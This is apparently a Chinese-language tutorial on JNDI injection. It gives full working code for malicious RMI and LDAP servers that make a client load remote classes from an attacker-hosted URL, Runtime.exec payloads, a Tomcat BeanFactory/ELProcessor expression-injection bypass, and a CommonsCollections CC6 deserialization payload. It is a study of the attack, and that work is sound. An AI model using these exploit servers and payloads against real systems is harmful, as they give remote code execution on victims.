概念

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象

支持的服务接口:

RMI (JAVA远程方法调用)

LDAP (轻量级目录访问协议)

CORBA (公共对象请求代理体系结构)

DNS (域名服务)

动态协议转换

服务端代码

1
2
3
4
5
6
7
8
	LocateRegistry.createRegistry(6666);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
InitialContext ctx = new InitialContext();
...
ctx.bind("person", p);
ctx.close();
...

Context.PROVIDER_URL,这个属性指定了到哪里加载本地没有的类

Context.PROVIDER_URL被配置过后,ctk.lookup("rmi://localhost:1099/hello")这一处代码改为 ctk.lookup("hello")也是可行的

但是如果开启了动态协议转换Context.PROVIDER_URL就失效了,当我们调用lookup()方法时,如果lookup方法的参数像是一个URL地址,那么客户端就会去lookup()方法参数指定的URL中加载远程对象,而不是去Context.PROVIDERURL设置的地址去加载对象

Reference类

但是攻击者仅调用lookup()方法参数指定的URL中加载远程对象,也是无法实现攻击的,因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的,于是乎,就有了Reference类Reference类表示对存在于命名/目录系统以外的对象的引用,如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化

要把一个对象绑定到rmi注册表中,这个对象需要继承UnicastRemoteObject但是Reference并没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到rmi注册表,并被远程访问到

1
2
3
Reference refObj = new Reference("refClassName", "insClassName", "http://aaanz.com:6666/"); 
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过lookup(“refObj”)获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的urlhttp://aaanz.com:6666/refClassName.class动态加载,并且调用insClassName的构造函数

其实不只是构造函数,说是构造方法、静态代码块、getObjectInstance()方法等方法都可以,所以这些地方都可以写入恶意代码

而且这个调用是在客户端,而不是在服务端,这就实现了客户端的命令执行

img

JNDI Reference+RMI攻击

有效版本之后系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类

简单看一下构造

RMI

1
2
3
String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

Reference

1
2
3
4
5
6
7
8
9
10
Reference refObj = new Reference("refClassName", "FactoryClassName", "http://evil.com:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

//Reference构造函数
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}//其实第一个className用处不大,第二个参数factory是用来指定类名的,第三个参数就是当CLASSPATH找不到指定的类的时候,去搜索的远程URL路径了

本地

代码如下

RMIClient.java

1
2
3
4
5
6
7
8
9
import javax.naming.Context;
import javax.naming.InitialContext;

public class RMIClient {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:9999/refObj");
}
}

RMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
Reference refObj = new Reference("ExportObject", "EvilClass", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}

EvilClass.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.io.IOException;

public class EvilClass {
public EvilClass() {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}

}
}
  1. 编译EvilClass.java为EvilClass.class (javac EvilClass.java)
  2. 运行恶意http server,挂载上述class(在当前目录开启python3 -m http.server 8000)
  3. 运行恶意rmi server(上面的RMIServer类)
  4. 运行客户端发起请求(上面的RMIClient类)
  5. 客户端对恶意RMI server发送请求,获取远程对象存根实例
  6. 客户端会先从本地的CLASSPATH中寻找ExportObject,如果找不到,则从classFactoryLocation即http://127.0.0.1:8000/EvilClass.class中寻找工厂类
  7. 客户端通过实例化工厂类获取真正的对象,工厂类中包含的恶意代码被执行

image-20230401110341453

过程

1
ctx.lookup("rmi://127.0.0.1:9999/refObj");

image-20230401111454877

image-20230401111638964

var2得到了RMI注册中心主机,端口,绑定对象数据

image-20230401111619473

继续看var3.lookup()

image-20230401111929682

1
var2 = this.registry.lookup(var1.get(0));

拿到了RMI绑定的对象

image-20230401111915046

1
return this.decodeObject(var2, var1.getPrefix(1));

image-20230401112236555

我们的远程对象是ReferenceWrapper类的对象,它implements RemoteReference了,所以会调用getReference(),获取Reference对象,也就是我们在Server构造的对象

1
Reference refObj = new Reference("ExportObject", "EvilClass", "http://127.0.0.1:8000/");

image-20230401112418501

继续跟进

1
return NamingManager.getObjectInstance(var3, var2, this, this.environment);

从这里开始就加载我们的远程类了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
    public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{

ObjectFactory factory;

// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {//这里我们的builder为null,直接去下面给factory 赋值

// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}

// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
1
factory = getObjectFactoryFromReference(ref, f);

image-20230401113049215

直接加载类clas = helper.loadClass(factoryName);这里是正常的本地类加载,因为找不到Evil类所以会加载失败,代码往下执行

codebase = ref.getFactoryClassLocation()中出现了codebase,这里的FactoryClassLocation其实就是URL:http://,所以codebase也就是所谓的远程URL,然后在这个URL的基础上去找文件

1
clas = helper.loadClass(factoryName, codebase);

因为指定了codebase,这次用的类加载器将是URLClassLoader,最后在这里加载

1
2
Class<?> cls = Class.forName(className, true, cl);
return cls;

调用Class.forName并制定了类加载来加载类,这样可以加载到http://127.0.0.1:8000/EvilClass.class,由于Class.forName加载类且第二个参数是true(默认也是true)会进行类的加载,也就是执行静态代码块,那就可以加载恶意代码了

image-20230401113916078

成功加载到了clas后,再return (clas != null) ? (ObjectFactory) clas.newInstance() : null;,调用它的newInstance(),从而调用了无参构造器,执行了无参构造器里面的代码

如果得到了对象且成功转换成了ObjectFactory,就会调用getObjectInstance方法,这也是为什么可以把代码写到getObjectInstance方法的原因

1
2
return factory.getObjectInstance(ref, name, nameCtx,
environment);

不过这个有限制,就是我们的恶意类可以转换成ObjectFactory,才可以继续执行不抛出异常。所以如果要利用这个方法的话,恶意类需要继承ObjectFactory才行

只有配置了SecurityManager的RMI服务器才能被攻击

image-20230401113936591

远程

坑点主要在Server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws Exception{
System.setProperty("java.rmi.server.hostname","39.105.125.61");
Registry registry = LocateRegistry.createRegistry(766);
Reference aaanz = new Reference("1","Evil","http://39.105.125.61:667/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(aaanz);
registry.bind("aaanz",referenceWrapper);
}
}

启动了RMI Registry的服务端有两个端口,一个是RMI Registry监听端口,另一个是远程对象的通信端口。而远程对象通信端口是系统随机分配的,远程对象的通信Host、Port等信息由RMI Registry传递给客户端,通信Host的默认值是服务端本地主机名对应的IP地址,所以当服务器有多张网卡,或者/etc/hosts中将主机名指向某个内网IP的时候,RMI Registry默认传递给客户端的通信Host也就是这个内网IP地址,远程利用时自然无法建立通信

可以把/etc/hosts中指向内网IP的记录删除或者指向外网IP,也可以在攻击者的RMI服务端通过代码明确指定远程对象通信Host IP:

1
System.setProperty("java.rmi.server.hostname","外网IP");

或者在启动RMI服务时,通过启动参数指定 java.rmi.server.hostname 属性:

1
-Djava.rmi.server.hostname=服务器真实外网IP

技术专栏 | 深入理解JNDI注入与Java反序列化漏洞利用 - 知乎 (zhihu.com)

Client.java

1
2
3
4
5
6
7
8
9
10
11
12
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Name;
import java.rmi.Naming;

public class Client {
public static void main(String[] args) throws Exception {
String url = "rmi://39.105.125.61:766/aaanz";
Context context = new InitialContext();
context.lookup(url);
}
}

Evil.java

1
2
3
4
5
public class Evil {
public Evil() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

JNDI Reference+LDAP攻击

除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象

注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广

有效版本之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false,对LDAP Reference远程工厂类的加载增加了限制

服务端的Maven依赖

1
2
3
4
5
<dependency>  
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.0</version>
</dependency>

LDAPClient

1
2
3
4
5
6
7
8
9
import javax.naming.Context;
import javax.naming.InitialContext;

public class LDAPClient {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:7777/anything");
}
}

LDAPServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
int port = 7777;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "ExportObject");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

EvilClass.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.io.IOException;

public class EvilClass {
public EvilClass() {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}

}
}

image-20230401120714590

本地Factory

在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛

JNDI - Longlone’s Blog

条件

1.客户端存在一个实现了javax.naming.spi.ObjectFactory接口且存在

getObjectInstance()方法的类,如org.apache.naming.factory.BeanFactory

2.getObjectInstance()方法存在可以利用的逻辑,比如BeanFactory可以实例化对象的

beanClass

BeanFactory来说,可以利用getObjectInstance()方法实例化对象的beanClass

其中beanClass需要满足以下几个条件(通过分析BeanFactory.getObjectInstance()得出):

本地classpath里存在
具有无参构造方法
有直接或间接执行代码的方法,并且方法只能传入一个字符串参数

通过上述的描述,寻找到符合的类有:

tomcat8里的javax.el.ELProcessor#eval(String)

springboot 1.2.x自带的groovy.lang.GroovyShell#evaluate(String)

攻击流程

  1. Obj.decodeObject()返回Reference对象
  2. 接着会进入NamingManager.getObjectFactoryFromReference(),如果是Reference对象,则会返回一个ObjectFactory对象(这里实现类是BeanFactory)
  3. 实例化beanClass后,会获取Reference对象里的forceString属性值
  4. 将属性值会以逗号和等号分割,格式如param1=methodName1,param2=methodName2
  5. 接着会反射调用beanClass对象里名为methodName1的方法,并传入参数,限定参数类型为String,参数通过Reference对象里param1属性获取

具体流程

搭建tomcat源码的测试环境(中文乱码问题参考这里),这里注意要修改下pom.xml的依赖(网上

搜索到的pom.xml会缺乏LDAPServer的依赖且easyMock的版本过低),这是我使用的依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

<modelVersion>4.0.0</modelVersion>
<groupId>org.apache</groupId>
<artifactId>tomcat</artifactId>
<name>apache-tomcat-8.5.75</name>
<version>8.5.75</version>

<build>
<finalName>Tomcat-8.5.57</finalName>
<sourceDirectory>java</sourceDirectory>
<testSourceDirectory>test</testSourceDirectory>
<resources>
<resource>
<directory>java</directory>
</resource>
</resources>
<testResources>
<testResource>
<directory>test</directory>
</testResource>
</testResources>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.5.1</version>
<configuration>
<encoding>UTF-8</encoding>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.0</version>
</dependency>
<dependency>
<groupId>org.easymock</groupId>
<artifactId>easymock</artifactId>
<version>4.3</version>
<scope>test</scope>
</dependency>

<dependency>
<groupId>org.apache.ant</groupId>
<artifactId>ant</artifactId>
<version>1.10.0</version>
</dependency>
<dependency>
<groupId>wsdl4j</groupId>
<artifactId>wsdl4j</artifactId>
<version>1.6.2</version>
</dependency>
<dependency>
<groupId>javax.xml</groupId>
<artifactId>jaxrpc</artifactId>
<version>1.1</version>
</dependency>
<dependency>
<groupId>org.eclipse.jdt.core.compiler</groupId>
<artifactId>ecj</artifactId>
<version>4.6.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.glassfish/javax.xml.rpc -->
<dependency>
<groupId>org.glassfish</groupId>
<artifactId>javax.xml.rpc</artifactId>
<version>3.0.1-b03</version>
</dependency>

</dependencies>
</project>

在创建java/exp文件夹并写入RMILocalFactoryServer.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package exp;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMILocalFactoryServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
// 创建Registry
Registry registry = LocateRegistry.createRegistry(9999);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
ref.add(new StringRefAddr("KINGX", "''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('calc.exe')"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);

System.out.println("java LocalFactory RMI registry created. port on 9999...");
}
}

在web/ROOT中写入client.jsp:

1
2
3
4
5
6
7
8
9
10
11
<%@ page import="javax.naming.*" %>
<%@ page import="javax.el.ELProcessor" %>

<%
try {
Context ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:9999/Exploit");
} catch (NamingException e) {
e.printStackTrace();
}
%>

运行RMILocalFactoryServer

运行tomcat服务器,访问http://127.0.0.1:8080/client.jsp触发任意java代码执行

SerializedData + LDAP攻击

和JNDI Reference+LDAP攻击类似

这种攻击方法不受jdk版本的限制,但是要求目标存在可利用的java组件

客户端与服务端maven依赖

1
2
3
4
5
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

LDAPClient

1
2
3
4
5
6
7
8
9
import javax.naming.Context;
import javax.naming.InitialContext;

public class LDAPClient {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:7777/anything");
}
}

CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static byte[] getPayload() throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1),
};

// 先使用fakeTransformer防止本地命令执行
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");

Map objMap = new HashMap();
objMap.put(tiedMapEntry, "valuevalue");
outerMap.remove("keykey");

// 使用反射替换transformerChain的transformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(objMap);
oos.close();

return barr.toByteArray();
}
}

LDAPSerialServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;

public class LDAPSerialServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
int port = 7777;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
System.out.println("Send LDAP reference result for " + base + " return CC6 gadgets");
e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS-1$
e.addAttribute("javaSerializedData", CC6.getPayload());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

完整攻击流程:

  1. 运行恶意ldap server(上面的LDAPSerialServer类)
  2. 运行客户端发起请求(上面的LDAPClient类)
  3. 客户端对恶意LDAP server发送请求,获取包含javaSerializedData属性的对象
  4. 客户端解析对象,发现存在javaSerializedData属性,对其进行反序列化
  5. 触发本地反序列化链

image-20230401121150822

上面提到的都是lookup()方法如果参数被控制可能存在jndi注入的问题,实际上其他方法比

InitialContext.rename(), InitialContext.lookupLink()最后也调用了

InitialContext.lookup()

还有其他包装了JNDI的应用,例如Apache's Shiro JndiTemplate,Spring's JndiTemplate

会调用InitialContext.lookup()